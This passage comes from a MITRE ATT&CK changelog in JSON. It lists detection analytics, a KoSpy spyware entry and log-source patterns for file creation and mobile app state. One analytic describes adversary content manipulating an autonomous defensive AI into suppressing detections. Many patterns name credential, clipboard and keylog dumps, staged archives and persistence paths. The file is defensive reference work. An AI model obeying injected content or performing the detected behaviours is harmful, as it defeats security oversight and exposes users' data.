                            "channel": "AgentTrace.knowledgeBaseLookupInput"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                            "name": "AWS:bedrock",
                            "channel": "AgentTrace.actionGroupInvocationInput"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "TrustedInstructionSources",
                            "description": "Sources authorized to provide operational instructions to the AI application"
                        },
                        {
                            "field": "UntrustedContentSources",
                            "description": "Retrieved resources and tool responses that must remain task data rather than operational authority"
                        },
                        {
                            "field": "AuthorizedAIWorkflows",
                            "description": "Permitted task sequences and workflow transitions"
                        },
                        {
                            "field": "AICapabilityScopes",
                            "description": "Authorized tools, resources, and operations for each agent or application role"
                        },
                        {
                            "field": "ApprovedContentDrivenActions",
                            "description": "Actions retrieved content may legitimately influence"
                        },
                        {
                            "field": "RetrievalToActionWindow",
                            "description": "Maximum interval between content ingestion and subsequent operation"
                        },
                        {
                            "field": "RequiredRetrievalCorrelation",
                            "description": "Required session, trace, resource, or invocation identifiers linking the event sequence"
                        },
                        {
                            "field": "MinimumInstructionEvidence",
                            "description": "Evidence required to distinguish an instruction attempt from ordinary retrieved data"
                        },
                        {
                            "field": "AuthorizedAdversarialTesting",
                            "description": "Approved testing contexts and exceptions"
                        }
                    ],
                    "x_mitre_platforms": [
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0"
                },
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--5f208b6c-0c6a-47fa-9daf-03cf6d69ff81",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-11-03 01:24:43.426000+00:00",
                    "modified": "2026-11-03 01:26:12.595000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0943#AN2294",
                            "external_id": "AN2294"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 2294",
                    "description": "An analyst observes an autonomous defensive system ingest an adversary-controlled artifact, message, or other lower-trust content during a security workflow. Following ingestion, the system unexpectedly terminates or truncates analysis, suppresses a detection, modifies a security decision, or attempts to disable a defensive capability contrary to the established workflow. The analyst correlates the ingested content, defensive task execution, and subsequent security-control state or disposition to identify potential adversarial manipulation of autonomous defenses.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "ExpectedDefensiveWorkflows",
                            "description": "Required analysis, detection, triage, or investigation steps for each defensive task"
                        },
                        {
                            "field": "ApprovedTerminationConditions",
                            "description": "Authorized reasons for ending, truncating, or refusing analysis"
                        },
                        {
                            "field": "RequiredAnalysisOutputs",
                            "description": "Evidence, findings, and completion artifacts expected before a defensive task can be considered complete"
                        },
                        {
                            "field": "AuthorizedAlertDispositions",
                            "description": "Permitted alert state transitions and the conditions required for each"
                        },
                        {
                            "field": "ProtectedSecurityControls",
                            "description": "Defensive configurations, policies, and capabilities that the autonomous agent cannot disable or modify without authorization"
                        },
                        {
                            "field": "ArtifactToDeviationWindow",
                            "description": "Maximum interval between processing suspicious content and an anomalous defensive action"
                        },
                        {
                            "field": "RequiredTaskCorrelation",
                            "description": "Task, artifact, trace, and operation identifiers necessary to correlate the event sequence"
                        },
                        {
                            "field": "ApprovedWorkflowExceptions",
                            "description": "Legitimate maintenance, policy-driven exclusions, and authorized human interventions"
                        }
                    ],
                    "x_mitre_platforms": [
                        "SaaS"
                    ],
                    "x_mitre_version": "1.0"
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--557d1a5d-31ae-4600-b4ed-a456d9964a83",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-10-21 15:10:28.402000+00:00",
                    "modified": "2026-11-03 01:41:15.515000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0097#AN0272",
                            "external_id": "AN0272"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 0272",
                    "description": "Scripted or binary usage of X11 utilities (e.g., xdotool, wmctrl) or direct /proc/*/window mappings to discover open GUI windows and active desktops.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_log_source_references": [
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                            "name": "auditd:EXECVE",
                            "channel": "execve"
                        },
                        {
                            "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                            "name": "linux:syslog",
                            "channel": "None"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_mutable_elements": [
                        {
                            "field": "ExecutableName",
                            "description": "Common window management utilities can be tuned to reduce noise (e.g., xprop, xwininfo)."
                        },
                        {
                            "field": "DisplayContext",
                            "description": "Restrict detection to processes executing under graphical sessions (e.g., DISPLAY=:0)."
                        }
                    ],
                    "x_mitre_platforms": [
                        "Linux"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 01:41:15.515000+00:00\", \"old_value\": \"2025-10-21 15:10:28.402000+00:00\"}, \"root['x_mitre_log_source_references'][1]['name']\": {\"new_value\": \"linux:syslog\", \"old_value\": \"linus:syslog\"}}}",
                    "previous_version": "1.0"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        }
    },
    "mobile-attack": {
        "techniques": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "software": {
            "additions": [
                {
                    "type": "malware",
                    "id": "malware--3a647ddb-3867-4a17-a6ae-1f68f586a726",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-02 21:27:55.079000+00:00",
                    "modified": "2026-10-26 22:25:39.529000+00:00",
                    "name": "KoSpy",
                    "description": "[KoSpy](https://attack.mitre.org/software/S9048) is Android spyware active since at least March 2022, with the most recent samples acquired in March 2024. KoSpy has been distributed through Google Play and the third-party app store Apkpure and retrieves its configuration, including its C2 address, from Firebase Firestore. [KoSpy](https://attack.mitre.org/software/S9048) has targeted Korean and English-speaking users and leverages infrastructure associated with [APT37](https://attack.mitre.org/groups/G0067) and [Kimsuky](https://attack.mitre.org/groups/G0094); however, it remains unclear whether either group has used [KoSpy](https://attack.mitre.org/software/S9048).(Citation: Lookout_KoSpy_March2025)    ",
                    "revoked": false,
                    "labels": [
                        "malware"
                    ],
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/software/S9048",
                            "external_id": "S9048"
                        },
                        {
                            "source_name": "Lookout_KoSpy_March2025",
                            "description": "Islamoglu, A. (2025, March 12). Lookout Discovers New Spyware by North Korean APT37. Retrieved December 1, 2025.",
                            "url": "https://security.lookout.com/threat-intelligence/article/lookout-discovers-new-spyware-by-north-korean-apt37"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_aliases": [
                        "KoSpy"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Kaung Khant Ko"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Android"
                    ],
                    "x_mitre_version": "1.0"
                }
            ],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "groups": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "campaigns": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "assets": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "mitigations": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datasources": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "datacomponents": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--55c669d9-b42a-4cf6-a38a-07161b228ce9",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-03-11 16:00:13.775000+00:00",
                    "modified": "2026-11-03 00:18:15.699000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0123",
                            "external_id": "DC0123"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Application State",
                    "description": "Application State represents the operational status and lifecycle context of a mobile application at a given point in time. This includes whether the application is running in the foreground or background, its activity state, recent user interaction, and transitions between lifecycle states.\n\nMonitoring application state helps defenders identify suspicious behavior where an application performs sensitive actions while inactive, in the background, or without recent user interaction.\n\nApplication state is particularly useful when detecting malicious activity that occurs outside normal user-driven workflows.\n\nExamples\nAndroid\n\n- Application transitions from foreground to background\n- Application running as a background service\n- Application started via broadcast receiver\n- Application launched automatically after device boot\n\niOS\n\n- Application entering active, inactive, or background state\n- Background task execution\n- Background fetch activity\n- Application wake events triggered by push notifications or system services\n\nData Collection Measures\n- Mobile EDR / MTD runtime monitoring\n- OS lifecycle event telemetry\n- Application runtime instrumentation\n- Mobile security platform behavioral monitoring\n",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "iOS:MDM",
                            "channel": "Declarative Management app.managed.list status changes, where collected"
                        },
                        {
                            "name": "android:EMM",
                            "channel": "Managed package inventory/status and package metadata"
                        },
                        {
                            "name": "android:MDMLog",
                            "channel": "Newly installed or updated application launches background service, becomes active without recent user interaction, or executes immediately after update in a pattern inconsistent with baseline"
                        },
                        {
                            "name": "iOS:MDM",
                            "channel": "InstalledApplicationList / ManagedApplicationList"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "environment API reads occur before any user interaction at cold launch \u2014 precondition check timing"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "environment check API burst occurs at app cold-launch or in background before user interaction \u2014 precondition check timing distinguishes guardrail from feature use"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "pplication or service remains active, foregrounds, or overlays during device locked state or immediately at unlock transition with weak recent user interaction context"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application wakes, becomes active, refreshes, or foregrounds immediately after locked or inactive state transition with weak recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Foreground or background applications remain active while network-dependent activity stalls, retries, or transitions into repeated failure state"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Application runs in foreground, service, or sustained background-active state while concentrated file transformation occurs with weak or no recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Updated or newly delivered application becomes active, launches background services, or executes shortly after install/update with minimal user interaction inconsistent with baseline"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Updated or newly delivered application wakes, foregrounds, refreshes, or becomes active shortly after version change with weak recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Protected resource use or privileged framework access occurs while device is locked, before normal setup completion, or from an app/service not in foreground and not on approved preload list"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app or device-originated network activity occurs while the device is locked or before expected managed app initialization sequence, inconsistent with expected background refresh baseline"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Recently installed or updated trusted app begins background execution, persistent service activity, overlay-like behavior, or lock-state activity inconsistent with its historical baseline or expected first-run sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Recently installed or updated managed app begins background activity, persistent refresh, or lock-state-adjacent activity inconsistent with expected first-run behavior, user interaction timing, or historical baseline"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "App communicating with external web service is backgrounded, persistent, recently awakened, or active while device is locked or without recent user interaction in a way inconsistent with expected app behavior"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app shows background activity, refresh, or lock-state-adjacent execution temporally aligned to web-service communication without expected foreground use or recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "AppState=background or foreground_service active when resolver retrieval request occurred and pivot connection followed without foreground transition"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before resolver retrieval and subsequent pivot connection sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "DeviceLockState=locked or BackgroundRefresh active during resolver\u2192pivot sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before resolver request and pivot connection sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "AppState=background when bidirectional exchange with public web-service domain began and no foreground transition occurred between retrieval and outbound write"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "DeviceLockState=locked during inbound retrieval and subsequent outbound write sequence to public web-service platform"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before retrieve-then-write exchange to public web-service domain from same app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "BackgroundRefresh or background activity was active when retrieve-then-write exchange with public web-service domain occurred"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "AppState=background when repeated retrieval from public web-service domain began and no foreground transition occurred during the retrieval sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "DeviceLockState=locked during repeated inbound retrieval sequence from public web-service platform"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before repeated retrieval sequence from public web-service domain from same app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "AppState=background when non-standard-port session began and no foreground transition occurred during repeated or persistent connection sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "DeviceLockState=locked during outbound session using non-standard protocol-to-port pairing"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before app-attributed session using non-standard protocol-to-port pairing"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before camera session start and no foreground transition occurred during sustained capture interval"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Background activity, low-interaction device state, or DeviceLockState=locked was observed during sustained camera session or immediately before camera access from same bundle context"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Capturing app remained backgrounded or foreground-service-only while screen capture session occurred and another app was foregrounded during capture interval"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before screen capture session start and no expected foreground transition or consent-linked interaction occurred during capture interval"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Sensitive app category remained foregrounded during screen capture session from different app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Injecting app remained backgrounded or foreground-service-only while injected click, global action, or text insertion occurred in a different foreground app"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "LastUserInteractionDelta exceeded threshold before injected UI action and no matching touch interaction was observed for the target foreground app during injection sequence"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Sensitive app category remained foregrounded during injected UI sequence from different app identity"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Notification access event occurs while app_state=background AND device_state=locked OR no recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Crypto + data staging occurs while app_state=background OR device_locked=true OR no recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Asymmetric crypto operations occur while app_state=background OR device_locked=true OR no recent user interaction"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "TLS trust customization and outbound HTTPS session occur while app_state=background or device_locked=true or recent_user_interaction=false"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app initiates or resumes network-capable execution while app_state=background or device_locked=true before opaque TLS session attempt"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Managed app enters background-capable execution or resumes processing immediately before archive-like file creation or upload behavior"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Persistent foreground-service notification is created, updated, or remains visible while app behavior or notification identity is inconsistent with declared function during the persistence interval"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Ingress transfer and local file creation occur while app_state=background or device_locked=true or recent_user_interaction=false during the acquisition phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Ingress retrieval and staging occur while app_state=background or device_locked=true or recent_user_interaction=false during the acquisition phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Native library load or JNI-backed execution occurs while app_state=background or device_locked=true or recent_user_interaction=false during the execution phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Modified or newly replaced application begins execution or persists while recent_user_interaction=false or device_locked=true or launch context is inconsistent with expected user-driven update flow"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "System event occurs (e.g., SMS received, device boot completed, network state changed) acting as trigger event for execution phase"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application remains inactive across normal execution windows and transitions into background or foreground activity burst only when qualifying device context, lock state, locale, or network condition exists"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application remains dormant, low-activity, or background-resident across non-qualifying locations and transitions into active execution only after geographic condition is met"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "application reduces or halts operational activity during periods of active user interaction and resumes background execution or periodic work only during low-motion or idle intervals"
                        },
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "ecurity or monitoring application transitions to disabled, inactive, or non-reporting state while other applications remain active"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.1",
                    "x_mitre_domains": [
                        "mobile-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:18:15.699000+00:00\", \"old_value\": \"2026-10-13 17:40:32.511000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"iOS:MDM\", \"channel\": \"Declarative Management app.managed.list status changes, where collected\"}}}",
                    "previous_version": "1.1"
                },
                {
                    "type": "x-mitre-data-component",
                    "id": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2021-10-20 15:05:19.273000+00:00",
                    "modified": "2026-11-03 00:06:23.011000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/datacomponents/DC0039",
                            "external_id": "DC0039"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "File Creation",
                    "description": "A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs). ",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_log_sources": [
                        {
                            "name": "MobileEDR:telemetry",
                            "channel": "Monitored creation of an APK or application-package staging artifact following external retrieval"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes new file with suspicious extension/location (.tmp, .dat, .enc, /data/data/<pkg>/files/, /sdcard/Download/) and high estimated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "App UID writes edited media to container paths (e.g., /data/data/<pkg>/files/, .../cache/, /storage/emulated/0/Pictures/<pkg>/) with high delta in size vs. original and elevated estimated segment entropy  "
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write of high-entropy files in /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/<...> with .dex/.so/.jar/.tmp/.bin"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "Create/write under /data/data/<pkg>/(files|cache)/ or /storage/emulated/0/ with extension .dex/.jar/.so/.zip/.tmp/.js and elevated entropy"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE of archive or container (.zip/.gz/.7z/.db copy) that aggregates files pulled from other-package paths"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to app-writable DB/file path indicating clipboard dump (e.g., clipboard.db, clip_*.txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE paths like /data/data/<pkg>/files/(keys|inputs)/.*\\\\.db|\\\\.txt|\\\\.log"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(keys|inputs|clipboard).*\\\\.(db|sqlite|txt|log)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE to /data/data/<pkg>/(files|databases)/(creds|form|prompt).*\\\\.(db|sqlite|json|txt)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(app_inventory|pkg_list).*\\\\.(json|txt|db)"
                        },
                        {
                            "name": "android:logcat",
                            "channel": "CREATE/WRITE /data/data/<pkg>/(files|databases)/(security_inventory|policy_audit).*\\\\.(json|txt|db|plist)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "File creation with name starting with '.'"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: New file created in system binaries or temp directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)"
                        },
                        {
                            "name": "auditd:FILE",
                            "channel": "create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "Creation of files with extensions .sql, .csv, .sqlite, especially in user directories"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "mount target path within /proc/*"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "creation of .so files in non-standard directories (e.g., /tmp, /home/*)"
                        },
                        {
                            "name": "auditd:PATH",
                            "channel": "WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open or creat syscalls targeting excluded paths"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "file creation/modification"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write/open, FIM audit"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: Write to ~/.vscode-cli/code_tunnel.json"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, unlink, rename: File creation or deletion involving critical stored data"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "creat, open, write on /etc/systemd/system and /usr/lib/systemd/system"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write, open, or rename to /etc/systemd/system/*.service"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open, write, unlink"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "write or create file after .bash_history access"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "new file created in /var/www/html, /srv/http, or similar web root"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "Access or modification to /lib/modules or creation of .ko files"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,create"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "open,creat,rename,write"
                        },
                        {
                            "name": "auditd:SYSCALL+PATH",
                            "channel": "Linux Audit SYSCALL+PATH records: file transfer (scp, sftp, rsync, etc.) placing executable on Industrial Control Systems (ICS) Linux asset, followed by execve of the transferred file within tool transfer window"
                        },
                        {
                            "name": "AWS:CloudTrail",
                            "channel": "PutObject"
                        },
                        {
                            "name": "CloudTrail:PutObject",
                            "channel": "PutObject"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "file write"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMFS file creation"
                        },
                        {
                            "name": "File",
                            "channel": "None"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "creat"
                        },
                        {
                            "name": "fs:fileevents",
                            "channel": "create/write/rename in user-writable paths"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute"
                        },
                        {
                            "name": "fs:fsevents",
                            "channel": "Directory events (kFSEventStreamEventFlagItemCreated)"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "open/write/exec calls"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "disk activity on /Library/LaunchAgents or LaunchDaemons"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "File IO"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file activity"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file open/write"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "create: Attachment file creation in ~/Library/Mail directories"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "write or chmod to ~/Library/LaunchAgents/*.plist"
                        },
                        {
                            "name": "fs:fsusage",
                            "channel": "file write"
                        },
                        {
                            "name": "fs:launchdaemons",
                            "channel": "file_create"
                        },
                        {
                            "name": "gcp:workspaceaudit",
                            "channel": "drive.activity logs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "NSFileHandle/NSFileManager writes creating high-entropy files within app container (/var/mobile/Containers/Data/Application/<GUID>/tmp|Library/Caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write of high-entropy Mach-O/bundle or generic blob in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Create/write in /var/mobile/Containers/Data/Application/<GUID>/(tmp|Library/Caches)/ for .js/.bundle/.dylib/.zip with elevated entropy"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of archive/container (.zip/.gz/.7z/.db export) aggregating recently read items"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE of clipboard dump artifacts in container (clipboard.db, clip_*.txt, caches)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "CREATE/WRITE clipboard/keylog artifacts (clipboard.db, keys_*.txt) in container"
                        },
